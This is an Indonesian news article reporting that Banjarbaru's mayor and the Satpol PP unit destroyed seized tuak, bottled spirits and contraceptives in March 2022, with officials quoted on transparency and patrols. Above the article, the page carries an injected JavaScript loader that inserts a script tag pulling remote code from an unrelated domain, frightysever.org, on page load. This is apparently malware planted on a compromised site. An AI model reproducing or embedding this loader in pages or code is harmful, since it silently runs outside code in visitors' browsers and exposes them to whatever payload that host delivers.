(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Satpol PP Banjarbaru Musnahkan Tuak Sitaan, Alkohol Botolan hingga Alat Kontrasepsi

KANALKALIMANTAN.COM, BANJARBARU – Minuman olahan beralkohol tuak dan barang sitaan Satpol PP Banjarbaru dimusnahkan oleh Wali Kota Banjarbaru Aditya Mufti Ariffin, Jumat (18/3/2022) pagi.

Selain pemusnahan, Satpol PPBanjarbaru juga menggelar apel HUT Satpol PP ke-72 dan Satlinmas ke-60.

Pemusnahan itu berlangsung di halaman Markas Satpol PP Banjarbaru, Jalan Pangeran Antasari. Wali Kota Banjarbaru didampingi Kepala Satpol PP, Hidayaturahman.

Ada berbagai jenis minuman beralkohol dan barang bukti lainya yang dimusnahkan, diantaranya 145 liter tuak, 42 kotak minuman suplemen, 85 botol alkohol 95%, dua botol anggur merah, dua botol vodka dan satu liter wiski.

Selain memusnahkan minuman keras, Satpol PP juga menghancurkan alat kontrasepsi dan alat bantu lainnya yang disita dari lokalisasi Pembatuan.

“Tujuan pemusnahan ini adalah agar transparansi berjalan dengan baik, artinya barang yang disita ini benar-benar dimusnahkan, tidak disalahgunakan, sehingga masyarakat benar-benar percaya terhadap Satpol PP Banjarbaru,” ungkap Wali Kota.

Sementara itu, Kasatpol PP Hidayaturahman mengungkapkan, petugas penegak Perda akan terus melaksanakan patroli untuk menciptakan ketentraman dan ketertiban di Banjarbaru.

“Kami akan terus melakukan pemantauan dan pembinaan, dengan melakukan patroli secara rutin, namun waktunya tidak tetap,” jelasnya.

Terkait razia di eks lokalisasi pembatuan, Hidayaturahman menjelaskan telah dilakukan pembinaan bersama dengan Dinas Sosial Kota Banjarbaru.

“Kemarin kita amankan dua PSK, dan langsung kita kirim ke Dinas Sosial masuk Rumah Singgah untuk dilakukan pembinaan selanjutnya,“ pungkasnya.

Dengan dilaksanakannya pemusnahan barang sitaan ini dan komitmen Satpol PP dalam melaksanakan patroli, semoga penyakit masyarakat (Pekat) bisa hilang, dan dapat tercapai keamanan, ketertiban dan ketentraman di Kota Banjarbaru. (Kanalkalimantan.com/al)

Reporter : al
Editor : kk